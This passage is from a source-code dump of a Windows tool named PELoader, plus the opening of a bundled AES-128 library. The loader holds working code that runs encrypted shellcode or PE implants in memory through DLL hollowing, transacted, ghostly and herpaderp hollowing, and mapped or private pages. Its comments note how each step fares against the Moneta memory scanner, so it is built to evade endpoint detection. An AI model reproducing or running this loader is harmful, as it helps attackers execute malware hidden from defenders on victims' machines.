sec_offset), sec_size, sec_protect, &oldProtect)) is_ok = false; 65 | } 66 | 67 | return is_ok; 68 | } 69 | 70 | bool overwrite_mapping(PVOID mapped, BYTE* implant_dll, size_t implant_size) 71 | { 72 | 73 | std::cout << "[*] Overwriting the mapping\n"; 74 | HANDLE hProcess = GetCurrentProcess(); 75 | bool is_ok = false; 76 | DWORD oldProtect = 0; 77 | 78 | //cleanup previous module: 79 | size_t prev_size = peconv::get_image_size((BYTE*)mapped); 80 | 81 | if (prev_size) { 82 | if (!VirtualProtect((LPVOID)mapped, prev_size, PAGE_READWRITE, &oldProtect)) return false; 83 | memset(mapped, 0, prev_size); 84 | if (!VirtualProtect((LPVOID)mapped, prev_size, PAGE_READONLY, &oldProtect)) return false; 85 | } 86 | 87 | if (!VirtualProtect((LPVOID)mapped, implant_size, PAGE_READWRITE, &oldProtect)) { 88 | std::cout << "implant size: " << implant_size << "\n"; 89 | std::cout << "prev size: " << prev_size << "\n"; 90 | if (implant_size > prev_size) { 91 | std::cout << "[-] The implant is too big for the target!\n"; 92 | } 93 | return false; 94 | } 95 | 96 | memcpy(mapped, implant_dll, implant_size); 97 | is_ok = true; 98 | 99 | // set access: 100 | if (!set_sections_access(mapped, implant_dll, implant_size)) { 101 | is_ok = false; 102 | } 103 | return is_ok; 104 | } 105 | 106 | int run_implant(PVOID mapped, BYTE* buffer) 107 | { 108 | // Fetch the target's Entry Point 109 | DWORD ep_rva = peconv::get_entry_point_rva(buffer); 110 | bool is_dll = peconv::is_module_dll(buffer); 111 | peconv::free_file(buffer); buffer = nullptr; 112 | 113 | ULONG_PTR implant_ep = (ULONG_PTR)mapped + ep_rva; 114 | 115 | std::cout << "[*] Executing Implant's Entry Point: " << std::hex << implant_ep << "\n"; 116 | if (is_dll) { 117 | std::cout << "[*] Executing Implant as DLL" << "\n"; 118 | //run the implant as a DLL: 119 | BOOL(*dll_main)(HINSTANCE, DWORD, LPVOID) = (BOOL(*)(HINSTANCE, DWORD, LPVOID))(implant_ep); 120 | return dll_main((HINSTANCE)mapped, DLL_PROCESS_ATTACH, 0); 121 | } 122 | 123 | std::cout << "[*] Executing Implant as EXE" << "\n"; 124 | //run the implant as EXE: 125 | BOOL(*exe_main)(void) = (BOOL(*)(void))(implant_ep); 126 | return exe_main(); 127 | 128 | } 129 | 130 | PVOID undo_overloading(LPVOID mapped, char* target_dll) 131 | { 132 | size_t payload_size = 0; 133 | BYTE* payload = peconv::load_pe_module(target_dll, payload_size, false, false); 134 | 135 | if (!payload) { 136 | return NULL; 137 | } 138 | // Resolve the payload's Import Table 139 | if (!peconv::load_imports(payload)) { 140 | peconv::free_pe_buffer(payload); 141 | return NULL; 142 | } 143 | // Relocate the payload into the target base: 144 | if (!peconv::relocate_module(payload, payload_size, (ULONGLONG)mapped)) { 145 | return NULL; 146 | } 147 | if (!overwrite_mapping(mapped, payload, payload_size)) { 148 | return NULL; 149 | } 150 | // Free the buffer that was used for the payload's preparation 151 | peconv::free_pe_buffer(payload); 152 | return mapped; 153 | } 154 | 155 | BOOL search_hollow_dll(wchar_t* FilePath, size_t size_FilePath, size_t size_of_shellcode) 156 | { 157 | if (size_FilePath < MAX_PATH * 2) 158 | { 159 | return FALSE; 160 | } 161 | 162 | wchar_t SearchFilePath[MAX_PATH * 2]; 163 | HANDLE hFind = NULL; 164 | BOOL found = FALSE; 165 | WIN32_FIND_DATAW Wfd; 166 | size_t size_dest = 0; 167 | 168 | if (GetSystemDirectoryW(SearchFilePath, MAX_PATH * 2) == 0) { 169 | printf("GetSystemDirectoryW: %d\n", GetLastError()); 170 | return FALSE; 171 | } 172 | 173 | //search dll to load/map 174 | wcscat_s(SearchFilePath, MAX_PATH * 2, L"\\*.dll"); 175 | if ((hFind = FindFirstFileW(SearchFilePath, &Wfd)) != INVALID_HANDLE_VALUE) { 176 | do { 177 | if (GetModuleHandleW(Wfd.cFileName) == NULL) { 178 | 179 | if (GetSystemDirectoryW(FilePath, MAX_PATH * 2) == 0) { 180 | printf("GetSystemDirectoryW: %d\n", GetLastError()); 181 | return FALSE; 182 | } 183 | 184 | // Write File Path 185 | wcscat_s(FilePath, MAX_PATH * 2, L"\\"); 186 | wcscat_s(FilePath, MAX_PATH * 2, Wfd.cFileName); 187 | 188 | //wprintf(L"Checking %ls\n", FilePath); 189 | 190 | size_dest = getSizeOfImage(FilePath); 191 | 192 | //wprintf(L"DLL is 0x%x bytes\n", size_dest); 193 | 194 | if (size_of_shellcode < size_dest) { 195 | found = TRUE; 196 | } 197 | } 198 | } while (!found && FindNextFileW(hFind, &Wfd)); 199 | // close the handle 200 | FindClose(hFind); 201 | } 202 | return found; 203 | } 204 | 205 | int private_loader(LPCSTR payload_path) { 206 | 207 | BYTE* raw_payload; 208 | BYTE* payload; 209 | size_t raw_size; 210 | size_t payload_size; 211 | if (!prepare_payload(payload_path, raw_payload, payload, raw_size, payload_size)) 212 | return -1; 213 | 214 | LPVOID allocation_start = nullptr; 215 | NTSTATUS status = NtAllocateVirtualMemory( 216 | NtCurrentProcess(), 217 | &allocation_start, 0, 218 | (PULONG)&payload_size, 219 | MEM_COMMIT | MEM_RESERVE, 220 | PAGE_READWRITE 221 | ); 222 | std::cout << "[*] Allocated a RW memory region\n"; 223 | 224 | 225 | // Relocate the payload into the target base: 226 | if (!peconv::relocate_module(payload, payload_size, (ULONGLONG)allocation_start)) { 227 | std::cerr << "[-] Failed to relocate the implant!\n"; 228 | return NULL; 229 | } 230 | 231 | 232 | // Implant the payload: 233 | // Moneta: mapped page | RX | Abnormal mapped executable memory 234 | // Fill the local mapped section (RW) with the payload 235 | if (!overwrite_mapping(allocation_start, payload, payload_size)) { 236 | return NULL; 237 | } 238 | //protection changed to RX 239 | std::cout << "[*] Set page to RX\n"; 240 | 241 | // Free the buffer that was used for the payload's preparation 242 | peconv::free_pe_buffer(payload); 243 | 244 | // Run the payload: 245 | int ret = run_implant(allocation_start, raw_payload); 246 | 247 | } 248 | 249 | int mapped_loader(LPCSTR payload_path) 250 | { 251 | BYTE* raw_payload; 252 | BYTE* payload; 253 | size_t raw_size; 254 | size_t payload_size; 255 | if (!prepare_payload(payload_path, raw_payload, payload, raw_size, payload_size)) 256 | return -1; 257 | 258 | 259 | HANDLE hSection = nullptr; 260 | SIZE_T size = payload_size; 261 | LARGE_INTEGER sectionSize = { payload_size }; 262 | NTSTATUS status = NtCreateSection( 263 | &hSection, 264 | SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, 265 | NULL, 266 | (PLARGE_INTEGER)§ionSize, 267 | PAGE_EXECUTE_READWRITE, 268 | SEC_COMMIT, 269 | NULL 270 | ); 271 | 272 | //Moneta: mapped page | RWX | Abnormal mapped executable memory 273 | PVOID mapSectionAddress = NULL; 274 | NtMapViewOfSection( 275 | hSection, 276 | NtCurrentProcess(), 277 | &mapSectionAddress, 278 | NULL, NULL, NULL, 279 | &size, 280 | ViewUnmap, 281 | NULL, 282 | PAGE_EXECUTE_READWRITE 283 | ); 284 | std::cout << "Created RWX mapped section\n"; 285 | 286 | 287 | 288 | //Moneta: no detection 289 | //if map section with RW, failed to change protection to RX. 290 | DWORD oldProtect = 0; 291 | VirtualProtect(mapSectionAddress, payload_size, PAGE_READWRITE, &oldProtect); 292 | std::cout << "[*] Set page to RW\n"; 293 | 294 | // Relocate the payload into the target base: 295 | if (!peconv::relocate_module(payload, payload_size, (ULONGLONG)mapSectionAddress)) { 296 | std::cerr << "[-] Failed to relocate the implant!\n"; 297 | return NULL; 298 | } 299 | 300 | 301 | 302 | // Implant the payload: 303 | // Moneta: mapped page | RX | Abnormal mapped executable memory 304 | // Fill the local mapped section (RW) with the payload 305 | if (!overwrite_mapping(mapSectionAddress, payload, payload_size)) { 306 | return NULL; 307 | } 308 | //protection changed to RX 309 | 310 | 311 | // Free the buffer that was used for the payload's preparation 312 | peconv::free_pe_buffer(payload); 313 | 314 | 315 | // Run the payload: 316 | int ret = run_implant(mapSectionAddress, raw_payload); 317 | 318 | return 0; 319 | } 320 | 321 | int dll_hollower(const char* payload_path, bool isClassic, char target_dll[MAX_PATH * 2] = NULL) { 322 | 323 | BYTE* raw_payload; 324 | BYTE* payload; 325 | size_t raw_size; 326 | size_t payload_size; 327 | if(!prepare_payload(payload_path, raw_payload, payload, raw_size, payload_size)) 328 | return -1; 329 | 330 | 331 | if (target_dll == NULL) { 332 | wchar_t sacrificial_dll_path[MAX_PATH * 2]; 333 | char t[MAX_PATH * 2] = { 0 }; 334 | if (!search_hollow_dll(sacrificial_dll_path, MAX_PATH * 2, raw_size)) { 335 | std::cout << "failed to search a sacrificial dll"; 336 | return 0; 337 | } 338 | wcstombs(t, sacrificial_dll_path, MAX_PATH * 2); 339 | target_dll = t; 340 | } 341 | std::cout << "[*] target dll: " << target_dll << "\n"; 342 | std::cout << "[*] implant dll: " << payload_path << "\n"; 343 | 344 | 345 | // Prepare the target: 346 | // Load the DLL that is going to be replaced: 347 | PVOID mapped; 348 | if (isClassic) { 349 | std::cout << "[*] Loading the DLL (using LoadLibary, classic DLL hollowing)...\n"; 350 | mapped = LoadLibraryA(target_dll); 351 | } 352 | else { 353 | std::cout << "[*] Mapping the DLL image...\n"; 354 | mapped = map_dll_image(target_dll); 355 | } 356 | 357 | if (!mapped) { 358 | return NULL; 359 | } 360 | 361 | // Relocate the payload into the target base: 362 | if (!peconv::relocate_module(payload, payload_size, (ULONGLONG)mapped)) { 363 | std::cerr << "[-] Failed to relocate the implant!\n"; 364 | return NULL; 365 | } 366 | 367 | // Implant the payload: 368 | // Overwrite the target DLL with the payload 369 | if (!overwrite_mapping(mapped, payload, payload_size)) { 370 | undo_overloading(mapped, target_dll); 371 | return NULL; 372 | } 373 | 374 | // Free the buffer that was used for the payload's preparation 375 | peconv::free_pe_buffer(payload); 376 | 377 | if (!mapped) { 378 | std::cerr << "[ERROR] Module Overloading failed!\n"; 379 | return -1; 380 | } 381 | 382 | std::cout << "[*] Module Overloading finished...\n"; 383 | 384 | 385 | // Run the payload: 386 | int ret = run_implant(mapped, raw_payload); 387 | std::cout << "[*] Implant finished, ret: " << std::dec << ret << "\n"; 388 | if (isClassic) { 389 | // In case if the target was loaded via LoadLibrary, the same DllMain must be called on unload 390 | // and if it was not found the app will crash. 391 | // So we need to rollback the replacement before the app terminates... 392 | undo_overloading(mapped, target_dll); 393 | } 394 | 395 | return 0; 396 | } 397 | 398 | int phantom_hollower(LPCSTR payload_path, phantom phantomType, const char temp_pathc[MAX_PATH] = NULL) { 399 | 400 | BYTE* raw_payload; 401 | BYTE* payload; 402 | size_t raw_size; 403 | size_t payload_size; 404 | if (!prepare_payload(payload_path, raw_payload, payload, raw_size, payload_size)) 405 | return -1; 406 | 407 | 408 | wchar_t dummy_name[MAX_PATH]; 409 | wchar_t temp_path[MAX_PATH] = { 0 }; 410 | if (temp_pathc == NULL) { 411 | DWORD size = GetTempPathW(MAX_PATH, temp_path); 412 | } 413 | else 414 | mbstowcs(temp_path, temp_pathc, MAX_PATH); 415 | GetTempFileNameW(temp_path, L"Log", 0, dummy_name); 416 | std::cout << "[*] Created dummy file: "; 417 | std::wcout << dummy_name << std::endl; 418 | 419 | HANDLE hSection = NULL; 420 | 421 | if (phantomType == (phantom)ghost) { 422 | hSection = make_section_from_delete_pending_file(dummy_name, payload, payload_size); 423 | } 424 | else if (phantomType == (phantom)txf) { 425 | hSection = make_transacted_section(dummy_name, payload, payload_size); 426 | } 427 | else { 428 | hSection = make_section_from_overwrite_file(dummy_name, payload, payload_size); 429 | } 430 | 431 | if (!hSection || hSection == INVALID_HANDLE_VALUE) { 432 | std::cout << "Creating detected section has failed!\n"; 433 | return false; 434 | } 435 | 436 | //map buffer into section 437 | NTSTATUS status = STATUS_SUCCESS; 438 | SIZE_T viewSize = 0; 439 | PVOID sectionBaseAddress = 0; 440 | 441 | 442 | //Moneta64: Phantom Image | Missing PEB module | Phantom image 443 | if ((status = NtMapViewOfSection(hSection, 444 | NtCurrentProcess(), 445 | §ionBaseAddress, 446 | NULL, NULL, NULL, 447 | &viewSize, 448 | ViewShare, 449 | NULL, 450 | PAGE_READONLY)) != STATUS_SUCCESS) 451 | { 452 | if (status == STATUS_IMAGE_NOT_AT_BASE) { 453 | std::cerr << "[WARNING] Image could not be mapped at its original base! If the payload has no relocations, it won't work!\n"; 454 | } 455 | else { 456 | std::cerr << "[ERROR] NtMapViewOfSection failed, status: " << std::hex << status << std::endl; 457 | return NULL; 458 | } 459 | } 460 | std::cout << "[*] Mapped Base: " << std::hex << (ULONG_PTR)sectionBaseAddress << "\n"; 461 | 462 | //make a seperated function for this and mapped_loader 463 | // Relocate the payload into the target base: 464 | if (!peconv::relocate_module(payload, payload_size, (ULONGLONG)sectionBaseAddress)) { 465 | std::cerr << "[-] Failed to relocate the implant!\n"; 466 | return NULL; 467 | } 468 | 469 | // Implant the payload: 470 | // Fill the local mapped section (RW) with the payload 471 | if (!overwrite_mapping(sectionBaseAddress, payload, payload_size)) { 472 | return NULL; 473 | } 474 | //protection changed to RX 475 | 476 | // Free the buffer that was used for the payload's preparation 477 | peconv::free_pe_buffer(payload); 478 | 479 | // Run the payload: 480 | int ret = run_implant(sectionBaseAddress, raw_payload); 481 | 482 | return 0; 483 | } 484 | 485 | void printHelp() { 486 | std::cout << 487 | "PELoader\n" 488 | "More info: https://github.com/Hagrid29/PELoader/\n"; 489 | std::cout << 490 | "set hagrid=\n" 491 | ".\\PELoader.exe [binaray argument]\n" 492 | "Options:\n" 493 | "Encryption: enc [output file]\n" 494 | "\t - the payload that will be encrypted\n" 495 | "Private Page: priv \n" 496 | "\t - the shellcode that will be implanted\n" 497 | "Mapped Page: map \n" 498 | "\t - the shellcode that will be implanted\n" 499 | "DLL Hollowing (Load): cdll [target dll]\n" 500 | "\t - the shellcode that will be implanted\n" 501 | "\t[target dll] - the DLL that will be loaded by LoadLibary (default: auto search a sutiable DLL)\n" 502 | "DLL Hollowing (Map): mdll [target dll]\n" 503 | "\t - the shellcode that will be implanted\n" 504 | "\t[target dll] - the DLL that will be mapped (default: auto search a sutiable DLL)\n" 505 | "Transacted Hollowing: txf [dummy file | file path]\n" 506 | "\t - the shellcode that will be implanted\n" 507 | "\t[dummy file] - the dummy file (not necessarily exist) that will be transacted (default: create random file)\n" 508 | "Ghostly Hollowing: ghost [dummy file]\n" 509 | "\t - the shellcode that will be implanted\n" 510 | "\t[dummy file] - the dummy file (necessarily exist) that will be put in delete-pending state (default: create random file)\n" 511 | "Herpaderply Hollowing: herpaderp [dummy file]\n" 512 | "\t - the shellcode that will be implanted\n" 513 | "\t[dummy file] - the dummy file (necessarily exist) that will be overwritten (default: create random file)\n" 514 | << std::endl; 515 | return; 516 | } 517 | 518 | int main(int argc, char* argv[], char* envp[]) 519 | { 520 | 521 | char* hagrid[3]; 522 | int h = 0; 523 | char* token; 524 | const char s[2] = " "; 525 | if (char* env_p = std::getenv("hagrid")) { 526 | std::cout << "argument: " << env_p << std::endl; 527 | token = strtok(env_p, s); 528 | while (token != NULL) 529 | { 530 | hagrid[h] = (char*)malloc(strlen(token) + 1); 531 | strcpy(hagrid[h], token); 532 | h++; 533 | token = strtok(NULL, s); 534 | } 535 | 536 | } 537 | 538 | if (h < 2) { 539 | printHelp(); 540 | return 0; 541 | } 542 | bool isClassic = FALSE; 543 | if (strcmp(hagrid[0], "cdll") == 0) { 544 | std::cout << "Classic "; 545 | isClassic = TRUE; 546 | } 547 | if (strcmp(hagrid[0], "mdll") == 0 || strcmp(hagrid[0], "cdll") == 0) { 548 | std::cout << "DLL Hollowing\n"; 549 | char target_dll[MAX_PATH * 2] = { 0 }; 550 | 551 | if (h < 3) { 552 | dll_hollower(hagrid[1], isClassic); 553 | } 554 | else { 555 | ExpandEnvironmentStringsA(hagrid[2], target_dll, MAX_PATH * 2); 556 | dll_hollower(hagrid[1], isClassic, target_dll); 557 | } 558 | 559 | }else if (strcmp(hagrid[0], "enc") == 0) { 560 | printf("Encrypting File\n"); 561 | if (h == 2) 562 | encryptFile(hagrid[1], nullptr); 563 | else if (h == 3) 564 | encryptFile(hagrid[1], hagrid[2]); 565 | else 566 | printHelp(); 567 | }else if (strcmp(hagrid[0], "map") == 0) { 568 | std::cout << "Mapped Section\n"; 569 | mapped_loader(hagrid[1]); 570 | } 571 | else if (strcmp(hagrid[0], "priv") == 0) { 572 | std::cout << "Private Page\n"; 573 | private_loader(hagrid[1]); 574 | } 575 | else if (strcmp(hagrid[0], "ghost") == 0) { 576 | std::cout << "Ghostly Hollowing\n"; 577 | phantomType = (phantom)ghost; 578 | 579 | if (h < 3) 580 | phantom_hollower(hagrid[1], phantomType); 581 | else 582 | phantom_hollower(hagrid[1], phantomType, hagrid[2]); 583 | 584 | } 585 | else if (strcmp(hagrid[0], "txf") == 0) { 586 | std::cout << "Transacted Hollowing\n"; 587 | phantomType = (phantom)txf; 588 | 589 | if (h < 3) 590 | phantom_hollower(hagrid[1], phantomType); 591 | else 592 | phantom_hollower(hagrid[1], phantomType, hagrid[2]); 593 | } 594 | else if (strcmp(hagrid[0], "herpaderp") == 0) { 595 | std::cout << "Herpaderply Hollowing\n"; 596 | phantomType = (phantom)herpaderp; 597 | 598 | if (h < 3) 599 | phantom_hollower(hagrid[1], phantomType); 600 | else 601 | phantom_hollower(hagrid[1], phantomType, hagrid[2]); 602 | } 603 | else { 604 | printHelp(); 605 | } 606 | 607 | 608 | return 0; 609 | } 610 | -------------------------------------------------------------------------------- /PELoader/PELoader/AES.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | This is an implementation of the AES128 algorithm, specifically ECB and CBC mode. 4 | 5 | The implementation is verified against the test vectors in: 6 | National Institute of Standards and Technology Special Publication 800-38A 2001 ED 7 | 8 | ECB-AES128 9 | ---------- 10 | 11 | plain-text: 12 | 6bc1bee22e409f96e93d7e117393172a 13 | ae2d8a571e03ac9c9eb76fac45af8e51 14 | 30c81c46a35ce411e5fbc1191a0a52ef 15 | f69f2445df4f9b17ad2b417be66c3710 16 | 17 | key: 18 | 2b7e151628aed2a6abf7158809cf4f3c 19 | 20 | resulting cipher 21 | 3ad77bb40d7a3660a89ecaf32466ef97 22 | f5d3d58503b9699de785895a96fdbaaf 23 | 43b1cd7f598ece23881b00e3ed030688 24 | 7b0c785e27e8ad3f8223207104725dd4 25 | 26 | 27 | NOTE: String length must be evenly divisible by 16byte (str_len % 16 == 0) 28 | You should pad the end of the string with zeros if this is not the case. 29 | 30 | */ 31 | 32 | 33 | /*****************************************************************************/ 34 | /* Includes: */ 35 | /*****************************************************************************/ 36 | #include 37 | #include // CBC mode, for memset 38 | #include "aes.h" 39 | 40 | /*****************************************************************************/ 41 | /* Defines: */ 42 | /*****************************************************************************/ 43 | // The number of columns comprising a state in AES. This is a constant in AES. Value=4 44 | #define Nb 4 45 | #define BLOCKLEN 16 //Block length in bytes AES is 128b block only 46 | 47 | 48 | #define Nk 4 // The number of 32 bit words in a key. 49 | #define KEYLEN 16 // Key length in bytes 50 | #define Nr 10 // The number of rounds in AES Cipher. 51 | #define keyExpSize 176 52 | 53 | 54 | // jcallan@github points out that declaring Multiply as a function 55 | // reduces code size considerably with the Keil ARM compiler. 56 | // See this link for more information: https://github.com/kokke/tiny-AES128-C/pull/3 57 | #ifndef MULTIPLY_AS_A_FUNCTION 58 | #define MULTIPLY_AS_A_FUNCTION 0 59 | #endif 60 | 61 | 62 | /*****************************************************************************/ 63 | /* Private variables: */ 64 | /*****************************************************************************/ 65 | // state - array holding the intermediate results during decryption. 66 | typedef uint8_t state_t[4][4]; 67 | static state_t* state; 68 | 69 | // The array that stores the round keys. 70 | static uint8_t RoundKey[keyExpSize]; 71 | 72 | // The Key input to the AES Program 73 | static const uint8_t* Key; 74 | 75 | 76 | // Initial Vector used only for CBC mode 77 | static uint8_t* Iv; 78 | 79 | 80 | // The lookup-tables are marked const so they can be placed in read-only storage instead of RAM 81 | // The numbers below can be computed dynamically trading ROM for RAM - 82 | // This can be useful in (embedded) bootloader applications, where ROM is often limited. 83 | static const uint8_t sbox[256] = { 84 | //0 1 2 3 4 5 6 7 8 9 A B C D E F 85 | 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 86 | 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 87 | 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 88 | 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 89 | 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 90 | 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 91 | 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 92 | 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 93 | 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 94 | 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 95 | 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 96 | 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 97 | 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 98 | 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 99 | 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 100 | 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 }; 101 | 102 | static const uint8_t rsbox[256] = 103 | { 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb, 104 | 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 105 | 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e, 106 | 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25, 107 | 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 108 | 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, 109 | 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, 110 | 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 111 | 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 112 | 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 113 | 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 114 | 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 115 | 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 116 | 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 117 | 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 118 | 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d }; 119 | 120 | // The round constant word array, Rcon[i], contains the values given by 121 | // x to th e power (i-1) being powers of x (x is denoted as {02}) in the field GF(2^8) 122 | static const uint8_t Rcon[256] = { 123 | 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 124 | 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 125 | 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 126 | 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 127 | 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 128 | 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 129 | 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 130 | 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 131 | 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 132 | 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 133 | 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 134 | 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 135 | 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 136 | 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 137 | 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 138 | 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d }; 139 | 140 | 141 | /*****************************************************************************/ 142 | /* Private functions: */ 143 | /*****************************************************************************/ 144 | static uint8_t getSBoxValue(uint8_t num) 145 | { 146 | return sbox[num]; 147 | } 148 | 149 | static uint8_t getSBoxInvert(uint8_t num) 150 | { 151 | return rsbox[num]; 152 | } 153 | 154 | // This function produces Nb(Nr+1) round keys. The round keys are used in each round to decrypt the states. 155 | static void KeyExpansion(void) 156 | { 157 | uint32_t i, k; 158 | uint8_t tempa[4]; // Used for the column/row operations 159 | 160 | 